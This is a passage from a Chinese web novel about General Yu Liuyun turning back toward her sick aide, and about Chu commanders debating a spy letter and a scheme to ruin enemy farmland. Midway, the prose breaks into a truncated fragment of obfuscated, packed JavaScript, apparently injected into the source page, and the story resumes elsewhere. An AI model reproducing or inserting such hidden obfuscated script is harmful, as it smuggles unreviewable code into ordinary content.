书记官应到“是”,那县令自然号啕不止。玉旒云摆摆手,让把他赶出去,又将亲随都打发了,一个人坐了一会儿,碳火的暖劲上来,就觉得躁热无比。 她知道自己是个急性子的人,凡吩咐下去的事,不管是明说的,还是暗示的,都必须按时且按她的意思做好。若有差池,她立罚不赦——真正能做到这些的有几人?她难免恼火,但大部分时候,只要是在战场上,她沉得住气。 最近有些反常。她觉得烦躁,也许是因为这次踌躇满志的大青河之战事事不顺之故,又或许是因为——她不信鬼神,但是心底似乎有些不祥的预感。 信步走出军帐来透透气。 青窑此地在大青河畔,因过去出产青砖而得名,有低缓的丘陵,一直绵延不断到远处的河滩上,对面是楚国鹿鸣山地,衬在漆黑的夜幕里,显得铁铸一般。 这就是楚人引以为傲的铜墙铁壁。玉旒云想,他们能料到樾军已经到了这钢铁屏障之后么?最知她心意,能把一切都体她办得妥帖的,唯有石梦泉。 忽然明白自己烦乱的原因了。十五年来,很少有面对大事面对挫折而石梦泉却不在身边的,自去年领兵南征北战以来,更是头一次在战场上和石梦泉分隔两地。时间短时还不觉得,日子一久就心慌起来。 她不禁摇摇头觉得自己幼稚可笑:看不惯他们的人背地里都骂石梦泉是她的“应声虫”,按常理,该是应声虫离了主人就找不着方向,哪有人不见了应声虫心烦意乱至此的? 这真是个有趣的笑话,不过除了石梦泉和姐姐以外,她不能和别人分享。这仗一结束,就讲给他们听! 如此一想,心情大好,返回军帐,一觉睡酣然。次日精神百倍,吩咐就地征调民夫,以砂石泥土煤灰草屑填平道路,修整一段,大军就前进一段,虽然迟缓,但比在泥泞中跋涉或者绕远路还是快了许多。到这天傍晚时,竟行了四十多里地。 本来以她的性子是越早赶到石坪越好,应该连夜赶路才对。但见民夫们满身泥浆,看来疲惫不堪,天色又实在晚了,就吩咐扎营休息,并让亲随传令下去,从军粮中拨食物给民夫。 谁知那亲随得令才去,眨眼的工夫又慌慌张张地跑回了。玉旒云方要开声问,便见一乘青帘小驴车辘辘驶到了自己的帐前,未停稳,顾长风已铁青着脸跳了下来,大步走上前,道:“玉将军自领兵作战,为何强征赋役?” 少有人这样梗着脖颈同自己说话,玉旒云估计顾长风到现在还不知道治蝗一事是自己和石梦泉搭台唱的红白脸,心里既好气又好笑:顾长风啊顾长风,你怪我只晓得征战,你自己做事难道就真把大局照顾得面面俱到了么?你淹了我的官道,我还把那存心不良想害死你的青窑县令给办了,你非但不谢我,还指着我的鼻子骂——罢了罢了,我玉旒云难道稀罕你谢?好歹你是一个难得的忠直之材,我不与你计较! 还照着原先和石梦泉商量的,把戏接着唱下去。她冷冷一哼:“顾侍郎似乎是在家养病,本将军的事不消你费神。” 顾长风丝毫不被她这种居高临下的态度所震慑,反而越发挺直了脊梁,道:“将军不论是游山玩水还是行军打仗,顾某都无权过问。然而将军随意征调民夫修筑道路,可有工部有明令么?否则,不单的顾某能管,就算是身无功名的白丁也可以上京告御状。” 玉旒云一怔——她对兵书战策烂熟于胸,但是大樾律法恁多条款,她又不在刑部为官,哪里知道得那么清楚:这人,可真能较真! 顾长风并不露得色,依然满面正气:“将军既然没有明令,又不曾有提调官随同,就无权征用民夫。请将军即刻放这些百姓归去。下官先替他们谢过将军了。” 可以说是找了个台阶给她下,也可以说是逼她到唯一的一条路上,玉旒云平生最恨被人左右。她昨夜才刚刚好转的心情立刻一落千丈,原本装出来的一脸寒霜真的成了万年坚冰,眼神更比大青河的风还凛冽。 “笑话!”她道,“本将军现在急着赶去消灭楚军。战事吃紧的关头,哪里计较这些?” 顾长风道:“将军说的才是笑话!楚人自在他们的国内,将军到别人的国家去攻城掠地,早一天迟一天有什么要紧?何必说得仿佛生死关头?就算是将军不出兵……” “混帐!”玉旒云厉喝,“你一介书生知道什么?楚人占了石坪城……” 她才说到这里,民夫中响起一片哗然:什么楚人已打到南方七郡了? 原来崔抱月千余人马攻打石坪,只因那里是玉旒云设的虚防,所以两下里并没有什么激烈的战斗,几乎是在眨眼间,变戏法似的,城池已然易主。周围百姓若有逃难的,都往北方走。东南面的榆东、榆西等郡县是以浑然不觉。 这时听到了,百姓如何不惊:楚人可会打到此地?家里有亲戚在石坪的,不知还活着不?他们更把眼睛都直直望向玉旒云——玉旒云本打算以虚防吓走楚人,不想竟丢了石坪,虽然不说引以为奇耻大辱,但也像心里长了茅草一样难受。这时见到百姓们此等眼神,更如火上浇油似的的恼怒——京城里的那些老匹夫们不知已在朝堂上说了自己多少坏话,一日不夺回石坪,一日不在楚国的国境内正式竖起她的战旗来,就一日不得消停。她所失去的每一弹指,每一刹那时间,都给对手和敌人更多机会。他们在蓄积力量。这对她不利。 手紧紧握着腰里的马鞭,她就想要发作。 “将军——”冥冥中,仿佛有人轻拉住她的手臂,要她稍待。 梦泉?她一愣,转头看,当然不见石梦泉,乃是一个十三四岁的少年,满脸污秽,眼睛可怜巴巴地望着她:“将军,咱们能不能把石坪的人救出来?我姐姐去年才嫁过去的……”说时,已挂下两行眼泪。 玉旒云的怒火被这泪水一浇,登时熄灭了大半。再看旁边的其他百姓,也有不少焦急地询问道:“楚国人会不会打到这里来?将军能守得住咱这里么?朝廷会不会派援 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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玉旒云扬了扬眉毛:“本将军怎么了?顾侍郎口口声声为了百姓着想,难道要楚军攻到此地,百姓流离失所,你再大声疾呼,号召他们守卫家园么?” 顾长风摇着头:楚军为什么会攻过大青河来?自然是因为玉旒云兴兵意图南下之故。他看得清楚得很,但是,面对这年轻而骄傲的将军,他说出来又有什么用?流离失所,呵,即使没有楚人,这一年的征战,难道百姓能还安居乐业么? 玉旒云大约也能猜出他心里是个什么想法。我却没工夫同你计较,她想,一切都等仗打完了再说——然而你若是再胡言乱语,鼓动民夫与我作对,可就怪不得我绝情了! 民夫昼夜不歇,花了整整两天的时间,樾军才出了青窑地界。官道又开始平整起来,玉旒云下令加速前进,务必在第三天赶到石坪附近的神秀谷。 传令官自去告诉各督尉知晓。 玉旒云在马上眺望前途,便望见天上一只青鹞盘旋而下——正是她和细作联络用的信使。通常人们都用鸽子,因为识得归巢,但鸽巢不能随着大军移动,所以信鸽总飞回固定的鸽子站,战报最终还得要人快马递送。青鹞就不同了。在樾人建国之前,他们都是北方草原游牧打猎的民族,鹞子是猎人的好伙伴,认主人,无论飞出多远,最后还会回到主人的肩头。玉旒云训练了十多只鹞子,专门做联络之用。 那比鹰个头稍小,但勇猛却丝毫不逊的鸟儿见了主人,一个俯冲,来到了近前。玉旒云伸臂让它栖了,打开信筒来看,不禁大惊——书云:“彼谓洞悉远平城计划,且已施计破坏之。未知将军此计划如何?” 远平城?他们怎么可能知道远平城?玉旒云盯着信纸上的“洞悉”与“施计破坏”几个字:就算是楚人从石坪的虚防推测出我打算在别处用兵,但大青河上如许多险关,他们怎么可能就猜到是远平呢? 而石梦泉又有多久没有消息来了呢? 登时心底一慌:这些天来总是烦乱,莫非石梦泉出了事?他怎么可以出事! 手中的书信不知不觉被攥成了一团:楚人如此狡猾,虚虚实实,进进退退。这个程亦风……这个公孙天成……他们的目的究竟是何?是当真已狙击石梦泉?还是因为知道了自己要来石坪,特意放出所谓“洞悉他处之计划”的烟幕,想让她疲于奔命? 可恶!可恶!她最不想被人牵着鼻子走,可每一步,每一个行动,仿佛都在被楚人左右。 怎么可以这样?她不能输!狠很将书信团起,丢在地上,坐骑的蹄子践踏过,顷刻就没入污泥没了影——既已到了这里,先拿下了石坪再说。 于是,将马腹一夹,疾驰向前。 这时,便听见先前那传令官“的的的”火急火燎的打着马追上来了:“将军!将军!出大事了!” 玉旒云烦躁地,并不勒马:“什么事?今夜一定要进驻神秀谷。” 传令官紧紧追着,好容易才拼到与他并驾齐驱:“将军,愉郡主又来了。” “什么?”似乎连畜生也晓得麻烦临头,玉旒云的坐骑一声悲嘶立了起来,玉旒云不留神,几乎摔下了马:“愉郡主?她不是打晕士兵逃走了么?”也许不知上哪里玩去了,也许真的由铁索桥过了大青河,但石梦泉没有报告过。她还以为这不知天高地厚的小丫头已经迷路了,最好是消失了,不想,总在最麻烦的关头又来找她! 正说话间,后面步兵队伍里一阵骚乱,有人吆喝,有人叫骂,还有人“哎哟”一声,似乎是摔了个跟头——士兵都朝两边让开,就看娇荇赶着辆双驾马车,风驰电掣般地闯了过来。到玉旒云跟前时,竟刹不住,直撞了过来。玉旒云赶紧抽出鞭子朝马脖子上狠很一抽。那畜生吃疼,调转头去。她跟着拔剑砍断车辕,令车厢和马儿分开,娇荇和愉郡主这便一个跟一个从车上滚了下来。 两个姑娘都滚在了污泥中,满身秽物狼狈不堪。玉旒云想,凭愉郡主的脾气,大约立刻就要发作,正好刺她两句,也出出心中的郁闷之气。 果不出她所料,愉郡主还未站起身,已经指着她的鼻子骂了起来:“玉旒云,你这个没心没肺的小人,枉石梦泉一心一意为你卖命,你却不管他的死活!” 玉旒云一愣:“你说什么?” 娇荇把主子扶了起来,帮她擦着脸上的污泥。愉郡主嫌碍事,一把推开了,瞪着玉旒云道:“你装什么蒜?玉旒云,楚国那遍地是强盗土匪的破地方,你明知道派谁去了都是送死?偏偏要叫石梦泉去?” 玉旒云道:“胡说八道些什么!行军打仗的事,什么时候轮到你插口?石梦泉究竟怎么了?” “石梦泉……石梦泉……他病得快死啦!”愉郡主说出这句话来,眼泪跟着滚滚而下。想她离开远平那日,石梦泉还支撑着病体和众将士商议取胜之策——那些人呀,除了跟他谈军务,还是跟他谈军务,有哪一个识得着正照料他的?她冒着被邱震霆等人再次绑架的危险,走回锁月城,就是为了要玉旒云立刻下军令把石梦泉招回。谁料等她到时,玉旒云大军早已起程向西。她只好威逼利诱锁月参将,准备了一辆马车让她马不停蹄地追来——算来也有三天时间了,不知石梦泉现在怎样? 担心不已,她越想越难过,哭得停不下来。娇荇被主子招的,也跟着抹起了眼泪。 玉旒云本来只是震惊,被她们这样一哭,心也乱了起来:石梦泉病得快死了?为什么从来没有人报告?啊,也难怪一直接不到他的消息,他可不就是这样一个万事都自己扛的人?他怎么就这么傻?他怎么可以死?怎么可以死? 这个“死”的念头一起,就仿佛拿匕首在她心里刻字似的,先是浅浅地划了道印子,然后一下一下,越刻越深,血肉模糊,她直打冷战。 “都给我住口!”她厉声向愉郡主主仆喝道,“远平成究竟发生了什么事,你们给我说清楚!” 愉郡主一噎,跟着又嚎啕起来:“还说什么?你总派人去换了石梦泉回来就是。我知道你小心眼儿,讨厌我,但是你不能害石梦泉,你要害了他……” 话还没说完,“啪”,玉旒云一个耳光已经抽了过去。用了十成的力气,愉郡主不仅半边脸颊肿了起来,整个人也失了重心,跌倒在地。她愣愣地看着玉旒云,后者像是铸炼之时被烧得通红的利剑,刺到人的身上,非但立刻就戳开一个透明的窟窿,还要把你的五脏六腑都烧毁烫烂。愉郡主吓呆了。 还是娇荇警醒些,立刻“扑通”跪下:“启禀玉将军,是……是这么一回事儿……”继而结结巴巴,但还算是条理清楚地把杀鹿帮如何绑架愉郡主,如何向樾军下泻药,又如何企图炸毁远平城,但最终被石梦泉挫败了阴谋的事说了。“石将军似乎是因为积劳,又中了土匪的毒药,所以病得不轻……” “什么叫‘病得不轻’?”玉旒云疾言厉色地打断,“医官是怎么说的?为什么没有一个人来回报我?” “是……是……”娇荇总算是见到真正“可怕”的玉旒云了,如果早看到惊雷将军的这一面,她打死也不会和郡主出来闯这样的祸。“医官就说……要石将军休息……所以奴婢和郡主……奴婢和郡主才斗胆来见玉将军……郡主想请玉将军另派一员猛将去替下石将军……” 另派一人?玉旒云紧锁着眉头:说得倒轻巧。身边并不是没有人,但是愉郡主和娇荇轻车奔驰,也用了三天的时间,若然派一名督尉率领士兵前去支援,至少也要五六天。到那时,战局是个什么形势,哪里能估猜得到?还能战么?还能得到刘子飞和吕异的帮助么?敌我悬殊么?计划要放弃么? 慢说将来,就是现在,从娇荇和愉郡主的叙述中,也猜不出石梦泉的兵马经杀鹿帮折腾后有多少伤亡。 真恨不得能生出翅膀,飞去一看究竟!尤其是,梦泉,你怎么样了? 玉旒云按着剑,手指无意识地把弄着吞口,将剑顶出来了,又推回去,连手被割伤了也浑然不觉。 她怔怔地眺望远平城的方向——远在地平线之下,即使有千里眼,也只能看到环抱此城的鹿鸣山而已。 这时正是黄昏,阴霾天空里厚重的云彩像浸了墨汁似的,一层层暗下来。偶尔有几只鸥鸟,扑腾着白亮的翅膀,企图逃脱黑暗的掌握,但飞得远了,身影消失,也和被吞噬了无甚两样。 老天就是这么霸道。人算不如天算便是这个意思吧。 肩上立着着青鹞发出一声凄厉的啸叫。玉旒云如从梦中惊醒,才猛地感到右手的刺痛——石梦泉就是她的手臂。这时她如何能够丢下石梦泉不管?查不清远平的情形,就算进了神秀谷,攻到了石坪城下,她也难以集中精神。 她呼地翻身上马:“传令官!” “有!” “把健锐营的督尉给我找来。” “是!”那传令官忙不迭地去了,片刻,领了健锐营的督尉名唤卢进的到跟前。 玉旒云把血淋淋的手朝西一指:“你健锐营打前锋,率领大军今夜务必到达神秀谷。明日一早,击鼓攻城,限你三天时间,一定要把石坪城给我夺回来。” “是。”卢进应了,又有些不解地看着玉旒云。 玉旒云拨转马头,疾向东走,边驰,边喝道:“骁骑营的将士们跟我调头,回锁月城去!” 骁骑营的是骑兵,本来就是在队伍的最前面。听主帅有此号令,都免不了惊讶。可是,大部分常跟玉旒云的将士都习惯了对她绝对服从,况且有几个站在最先的,听到了娇荇的一番话,知道玉旒云必是回去寻石梦泉。在士兵们的心目中一向身先士卒又平易近人的石梦泉就好像手足一般。他们知道战友有难,早也按捺不住了。这时,纷纷调转马头跟着玉旒云向锁月方向回程。 樾国兵制,一营为五千人。若护卫京城的,当不多不少就是这个数。出来打仗则少可一两千人,多可一万人,全看需要怎样的士兵。玉旒云此来南方,审度地形,觉得并不需要许多骑兵,是以骁骑营只有三千之众。这时三千人一齐调转方向,竟丝毫不乱,实在不可不谓训练有素纪律严明。 后面的步兵也就纷纷让开了道儿。没多时,三千骑兵竟去得只剩一点模糊的影子。 卢进初当大任,胸膛剧烈地起伏着,狠狠吸了几口冰凉的夜风才渐渐平复下来。偏这时,见玉旒云一人一马又奔回来了。 “将军?” 玉旒云在马上拿鞭子一指愉郡主主仆:“把她们两个给我看管起来。要是再胡乱走动,闯出祸事,天皇老子来了我也不给面子!”说罢,又一转马头,“的的的”地去了。 17. 第 17 章 司马非看到一只青鹞在自己头上盘旋,啐了一口:“他奶奶的,樾国的扁毛畜生都敢到咱们楚人的地盘上来撒野,看老子怎么收拾你!”说时,弯弓拉箭欲射。却听旁边有人喊道:“将军——”他一愣,箭就射偏了,青鹞机警,“戛”地一鸣,飞得没了影。司马非大怒,看来人,是程亦风的亲随小莫,不由得更火了,道:“程亦风还要等到什么时候?玉旒云又不是傻瓜,她这种寸土不让的人,怎们可能让咱们一直占着石坪城?这时不北伐,还要等到什么时候?难道要等那些扁毛畜生把屎拉到咱头上么?” 小莫笑了笑:“将军跟小的发脾气,小的又不能给将军分忧。不是说先要去收拾玉旒云在别处的什么计划么?” 司马非“呸”地一声:“光见说,不见做。读书人就这样可恶!” 小莫陪着笑:“将军不能光赖程大人,其实程大人心里比将军还急呢。” 司马非叉着腰:“哦?” 小莫道:“将军您不知道——本来小人也不该多嘴的,实在是看着程大人太郁闷了,才不得不说。这次出兵的事,全由公孙先生一人做主。” “他?”司马非也看出公孙天成十分有本领,不知能不能为己所用?当下笑笑:“呵,他们都说这老儿有点本事,竟把程亦风这满肚子馊主意的家伙也给耍了。果然酸书生就要酸书生才能治!” 小莫愕了愕,又笑道:“将军跟咱们程大人误会可深了。其实将军是想国家好,程大人也是想国家好,将军爱部下,程大人也痛惜我们这些当兵的,您俩都是好人呢。咱们程大人在老将当中最佩服就是司马将军您了。” 司马非听了这话,觉得有些蹊跷,心中警觉,但语气仍旧轻松:“你小子没事来献殷勤,程亦风转的什么鬼主意?” 小莫道:“司马将军可冤枉煞小的了。其实是程大人叫小的来打探打探,河对面究竟是什么情形了。现在万事都被公孙先生掌控着,程大人都快变成傀儡了。” 司马非道:“变成傀儡也是他自己无用——他好歹顶着兵部尚书的官衔,怎么能听一个没功名的老头儿摆布?” 小莫道:“公孙先生可是厉害的人。您看石坪城不是他神机妙算,只用了一队民兵就打下来了么?程大人对公孙先生可尊敬啦。再说,程大人重信义,既然和公孙先生说好了,这次大青河之战由他全权指挥,程大人再着急,也不能背了誓约。” 司马非皱着眉头,暗想,这究竟是玩的什么花样儿?且从这小娃娃嘴里套套话。因道:“酸书生就这点儿臭脾气。我也懒得管他——那公孙先生究竟葫芦里卖的什么药?” 小莫摇摇头:“公孙先生好像是怀疑程大人身边有樾国的奸细,所以什么话都不说。大概要到临出兵前才下命令吧。” 奸细?这叫什么理由?司马非脑筋转得飞快:哎呀,莫非是姓程这小子找了公孙老儿想栽个奸细的罪名给我,以后这书呆子在兵部就可只手遮天了?他娘的!真是过河拆桥的混帐!他不由得怒气冲天,暗想:老虎不发威,你当爷爷是病猫,我可不能叫你们再在军中作怪下去!便破口骂道:“屁话连篇!才以为他有些本事,竟然也是个瞎指挥的人。几万大军在此,无论进退,至少都要一天时间打点准备,他以为是他一个穷酸背上包袱说走就走?临到出兵才下命令,不搞得天下大乱才怪!看我来教训教训他!”说时,大步往城下走。 “将军!将军!”小莫知道闯了祸,追着要阻拦。可是司马非走得飞快,哪里挡得住,不过正当他雷霆一般,下城的时候,公孙天成和程亦风就上来了。双方几乎撞到一起。 “来得好!”司马非道,“我等不下去了。到底什么时候打,怎么打,你们两个现在就给我个准话!” 程亦风望了望公孙天成。 公孙天成道:“司马将军怎么突然着急起来了?” 司马非道:“废话!自从朝廷来了圣旨,说要打这一仗,到你们慢吞吞地带了兵队来,再游手好闲地等到现在——这都有一个月了。一个月的功夫,有十个玉旒云也杀了。你们再等下去,是不是等玉旒云赶回来打下石坪城?” 公孙天成笑了笑:“司马将军何出此言?咱们在这里等着,养精蓄锐,玉旒云自在河对面穷折腾。咱们等的时间越长,精神头越好,而玉旒云的精力和粮草也就消耗越大。这么舒服的事情何乐而不为?” 司马非不便自己提出“奸细”之说来兴师问罪,是以想激程亦风和公孙天成先说出来,却不料到他有如此“奇谈怪论”,愣了愣,才道:“你当玉旒云是傻的么?她干什么要穷折腾自己?说不定人家也在河对面等着看咱们的笑话呢——她大军就在樾国的米粮之乡南方七郡驻扎着,要什么有什么。咱们倒好,千里迢迢跑了来,鹿鸣山一带不是才闹了饥荒么?你怎知她不在等咱们耗尽粮草?” “司马将军所虑极是。”公孙天成道,“不过,司马将军觉得玉旒云是个有耐性跟咱们慢慢耗着的人么?” 司马非一怔,不知他的用意,不敢立刻回答。 公孙天成又道:“司马将军常嫌我们读书人瞻前顾后,惹你讨厌,玉旒云一介女流,跟司马将军比起来……” “当然是本将军的耐性比她好了!”司马非道,“要不然怎么说宁得罪小人,不得罪女人呢?” “那就是了。”公孙天成道,“玉旒云知道咱们占了她的城池,就好像手上扎了刺一样,不拔出来就难受得紧。她就算想跟咱们耗着,心里也安宁不得。她一定左右为难,无所适从。” 司马非心里把公孙天成恨了十七八个洞,表面上还只能搓着手,道:“话是这样讲……但是究竟要耗到什么时候?” “什么人?”公孙天成蓦地一声断喝。 “是……是小人……”小莫从墙边转了出来,扑通跪倒,“方才小人去城上要看看对岸的情形,遇到了司马将军,一时口快,就跟将军胡言乱语了几句,致使将军误会。小人该死,请程大人处罚。” “你……”程亦风一向觉得这个孩子机灵可爱,一直信任自己,跟随自己,大约现在军中的士兵多少都是如此。他们把自己的性命都交到了他程亦风的手里,而他又将一切都交到了公孙天成的手上……是对?是错?这且不论,但他们的心里大概都在纳闷吧! “你起来!”司马非先发话,“做人就有什么说什么。要是把话都闷在心里,背地里偷偷议论,那跟娘们儿有什么分别?我不怪你。你们程大人和公孙先生也一定不会怪你。”这是话中有话在骂程亦风和公孙天成。 小莫却不起身。 程亦风叹了口气,道:“司马将军叫你起来,谁也没有怪你的意思。这场仗本来……唉,的确也拖得久了些……假如远平城……” “程大人!”公孙天成出声打断,又递了个眼色叫他不要泄露军机。 程亦风一愕,心里很是沮丧:身边哪儿来这么多细作? 便这时候,就听一边几个士兵嚷嚷:“快!别让那畜生跑了,快!” 诸人不知何事,全转头去看,就见一只青鹞飞扑而下,尖喙利爪,直向跪着的小莫扑了过来。小莫似乎被吓傻了,动也不动。眼见着,就要被这猛擒伤到。 还是司马非眼疾手快,“呛”地抽出宝刀来,一下劈过去。青鹞躲闪不及,竟连哀鸣也未发出,已然身首异处,坠地而亡。 小莫看着血淋淋一地羽毛,瞪大了眼,张大了嘴,好半天才翻身跌坐下来,伸腿将青鹞的尸体一踢:“死东西,背后偷袭,活该丢脑袋!” 司马非也跟上来踏了两脚:“刚才被你逃了,终究还是要死在老子的手上。哈哈!待我把了你的毛,炖成一锅!”说着就要捡起死鸟。 “且慢!”公孙天成走上前来,俯身拾起青鹞血肉模糊的尸体。 “先生?” 小莫才不解地说出两个字,公孙天成已经从鹞腿上解下一个信筒来。在大家惊讶万分的目光中,他拆开了信筒,取出一粒玉珠,并一卷薄绢。展开看,竟是一封小楷书成的信。 “讲什么?”司马非急着问。 公孙天成不看信的内容,只拿着玉珠——难得的白玉,隐隐透出些明黄色,可不是民间之物。 司马非急道:“怎么?没见过宝贝么?皇宫里这玩意儿多着呢。万岁爷朝冠上就有——先看信!” 公孙天成冷:“冠前玉珠称为何物,程大人不会不知吧?” 冠前垂组缨,穿挂玉珠称为“旒”,天子十二旒,诸侯九,上大夫七,下大夫五……旒!这莫非是玉旒云的标记? 公孙天成将信交到程亦风的手中。他看着,信上说:“予将立刻发兵收回石坪,并支援远平。或可得刘、吕二将军之助,未可知。汝当极力稳住楚军,不可妄动。若有变,速报与予知。待予收复石坪,稳住远平,再传令与汝。切切!” “这……这是写给奸细的?”司马非恐怕这是公孙天成搞出来的栽赃嫁祸之计,立刻跳了起来先撇清自己的关系,“他娘的,本将军身边也能有奸细——来人!把人统统都给我集合起来,一个一个审,谁替玉旒云卖命的,老子把他碎尸万段!” 那几个方才追着青鹞而来的士兵都是司马非的部下,晓得将军的脾气,见他如此发火,忙不迭地答应,飞快地跑开了。司马非就来回地踱步,轰隆隆地,好像要把城砖都跺坏:“远平!玉旈云说支援远平,那就是远平已经落在她的手里了?程亦风,你所谓她在别处的计划,就是指的这个?你不是说那计划已经被你破坏了吗?现在你怎么说?” 程亦风还在震惊中,无法回答司马非。 “玉旈云既要收复石坪,有要增援远平。”公孙天成面色也甚为阴沉,“她这样说,究竟是打算来回奔走,还是兵分两路?两者都是兵家大忌啊!” 司马非抢过那秘信去,看了看,道:“显见着两者都不是——她不是说联络了刘、吕二位将军吗?就是刘子飞和吕异了。这两人的驻地在原来铴国的地盘上,离锁月城不是很远。他们虽然跟玉旈云交情不好,但不会丢下大局不理,放着战功不立。有他们的支援,樾军就可以有两大股势力,一头取回石坪,另一头进攻远平——不过,他们的先头部队是怎么到远平去的?难道是飞过去的?” 程亦风哪里晓得,不过也没心思去顾念玉旈云有没有翅膀。他只知道樾军的两股打击力量可能已经上了路,那么远平城岌岌可危,而石坪也一定无法保住。“撤军!立刻撤回石坪的民兵,让樾军扑空白跑,然后发兵远平,与玉旒云的人马决一死战。决不能让她借远平而打开通往南方的大门。” 司马非虽然也知道情况危急,但对于“撤军”心有不甘:“现在就撤军……恐怕……倒不如咱们渡过大青河,给樾军一个迎头痛击?” “不行。”程亦风道,“现在渡过大青河和樾军交战,就算是暂时取胜了又能怎样?孤军深入,只有被人消灭的份。远平才是最关键的,我们应该集中兵力,击溃那里的敌人!” 司马非一愕,没想到程亦风这样坚决地否定自己。 程亦风望了望公孙天成,看他有何意见。后者深锁着眉头,想了片刻,道:“正是应该撤军,全力保住远平为上。” 程亦风当下吩咐小莫:“立刻让传令官持我兵符过轻舟过河去见崔抱月,让她即刻带领民兵返回。” 小莫好像还被这突如其来的变故所震惊着,愣了愣,才反应过来:“哦——” 程亦风又对司马非道:“那么劳烦司马将军,准备出兵远平城。” 说道出兵打仗,司马非就来了精神,连夜点齐人马,连粮草也都清点好了。所“谓兵马未动,粮草先行”,天不亮,押粮的就上了路,跟着,五万兵马也启程,浩浩荡荡开往远平城。 程亦风亲自主持牺牲祭旗,送了将士们离去,想要问问小莫传令官是不是已经渡河去找崔抱月了,可左右寻找,并不见小莫的身影。 “莫校尉呢?”他问。 “莫校尉过河给大人传令去了。”士兵回答。 “什么?他自己去?” “是。”那士兵道,“莫校尉本来是要找传令官的,不过怕崔女侠脾气倔,不肯回来,所以就亲自去啦。” 程亦风只是皱着眉头:这孩子! 而公孙天成却厉声问道:“什么时候去的?你看着他去的?” 士兵一愣:“啊……是。小的亲眼看到莫校尉驾了小船,一直看他到水中央呢。就是昨天午时前后吧。” 程亦风道:“公孙先生,这……” 公孙天成道:“老朽觉得这个小莫很是可疑。青鹞既然是训练来传信的,必然认人,如不见到指定的人,怎么会飞下来——青鹞昨日就是直冲着小莫而去的。” 程亦风想起日前的确见到过小莫逗弄青鹞,不过小莫这么憨直的孩子怎么可能是奸细呢?“猛禽凶性难改。”他道,“况且,那鹞子是被司马将军的士兵追来的呀。” 公孙天成道:“总之老夫觉得他有古怪。昨天他私自去找司马将军,挑唆司马将军来与程大人争吵……这时他渡河而去,说不定是给樾军报信去了。” 程亦风不信:“公孙先生推测得有太过牵强了。现在争这些也无谓,倒是看看如何接应崔女侠才好。” 公孙天成于是也不争:“崔女侠的确脾气倔强些,派她出去打仗容易,要招她回来就困难了。老朽以为,大人的准备一支擅长水战的人马,准备到大青河上接应崔女侠——若是遇到樾军攻击,那么就真是‘接应’,若是没有樾军,就权当是把崔女侠绑回来。” 程亦风想到崔抱月那慷慨激昂的模样,觉得公孙天成说的很是有理,因道:“那么晚生现在就交代下去。” “等等。”公孙天成道,“老朽还有些东西要请他们带过河去。“ 程亦风道:“何物?” 公孙天成道:“程大人跟老朽来取就去。”因引他回到房内,取出一个匣子来,里面是一些平平无奇的种子。 程亦风不禁奇道:“先生,这是做什么用?” 公孙天成拈起一小撮种子,道:“这叫播娘蒿,又叫黄花蒿,可以用来治疗瘴毒。” “您要人把这个带到对岸去?”程亦风越来越一头雾水。 “不错。”公孙天成点头,“老朽早年在天江上游游历,见到此草,因医中读过,觉得既然可以治病,就该大量种植,造福万民,于是就把此早带到中游西瑶境内种植。” 西瑶地方正是瘴毒肆虐之地,可是大青河以北的樾国也有瘴毒吗?带这种子难道是给崔抱月做药?公孙天成先知先觉,晓得民兵里有人染了瘴毒?越想越是不解。 公孙天成接下去说道:“西瑶之地不产黄花蒿,百姓饱受瘴毒之苦。老朽把种子带去后,一个月就长成了一大片,用来制药救人,百姓无不欢喜。但未想到半年后黄花蒿漫山遍野无边不际,过了一年,那地方竟成了黄花蒿的海洋,蔓延到附近的树林里,田地中,锄也锄不掉。老朽本是一番好意,结果,西瑶境内黄花蒿成了灾。火烧水淹,来年都春风吹又生。那一片土地后来只能荒废了。” “竟有如此可怖?”程亦风惊道,“那么先生要叫人带黄花蒿去北岸,是……” 公孙天成不用他猜测:“南方七郡就是樾国的米粮之乡,只要把黄花蒿撒到那里的土地上,田野必将沦为荒滩。到时樾军缺乏粮食,不但不能兴兵远征,连自保也不足够,百姓无法温饱,要揭竿而起,则樾国可不攻而自破。” “这……”程亦风怔怔,“先生带着黄花蒿的种子,莫非一早就已有这样的打算?” 公孙天成点点头:“若不能一次重创樾寇使之不能翻身,就会留下后患,他日遭其报复么?老朽虽然是计划了这样一个以逸待劳声东击西的战策,但都没有把握可以一次将玉旒云彻底击垮。所以,在施计让杀鹿帮的人耗费她兵力之外,还想出了这个黄花蒿……” “可是——”程亦风道,“南方七郡若化为荒野,樾国的百姓……” “大人!”公孙天成盯着他,“你是要楚国的百姓,还是樾国的百姓?” “玉旒云穷兵黩武,可百姓无辜。”程亦风道,“我楚国的百姓不愿连年征战,难道樾国的百姓就想妻离子散?我只想两国修好……只想永不言杀戮……” “大人!”公孙天成指着黄花蒿的种子,“花草的蔓延尚不为人力掌握,人的野心又怎么能随你控制?除非大人你一统天下做了天子,否则,你晓得樾国不出第二个、第三个玉旒云?你担保樾国之外,郑国、西瑶和漠北蛮族,不来入侵我楚国?” 程亦风一时张口结舌,但愣了半天后,还依然摇头:“不……无论如何,不能把这害人的东西带到对岸去……不……” “大人!”公孙天成还要再劝,但看程亦风满面坚决,只能把后话换成一声长叹,“大人这是要自留后患啊!” 总比伤天害理,自毁良心的好吧?程亦风想,人道“成大事者不拘小节”,这算是“小节”吗?他原不是个成大事的人——他是个成不了事的人。今日说是为了樾国的百姓,他日,恐怕就因为这一时的“妇人之仁”而把楚国的百姓推入战火之中——除非彻底击败樾寇。除非—— 正心绪混乱的时候,外面士兵匆匆跑入:“大人,了望兵看见对岸樾人好像从地底下冒出来似的,直奔石坪城去了!” 崔抱月曾经随夫出征,在落雁谷真正见过大阵仗。樾军战鼓如雷,从东边的神秀谷中蜂拥而出,她在城楼目测了一下人数,才两三千的样子,虽然远胜于落雁谷之战,但是浴巾自己居高临下,易守难攻,是以她并不惊慌。 而其他的民兵就不同的。他们虽然日日操练,也算懂得些杀敌的招式。但自登岸以来,并没有打过什么硬仗——他们扮成难民到了石坪城下,架梯子凳城,守城的兵丁全只是银样蜡枪头,没几下就死的死,逃得逃。只那个参将还硬气些,拿刀上来砍了几下。但崔抱月身手极好,几招便制服了。 胜利来得太容易。打仗竟比乡下种田还要轻松。如今看到气势汹汹的樾兵,且人数倍于自己,他们全慌了。 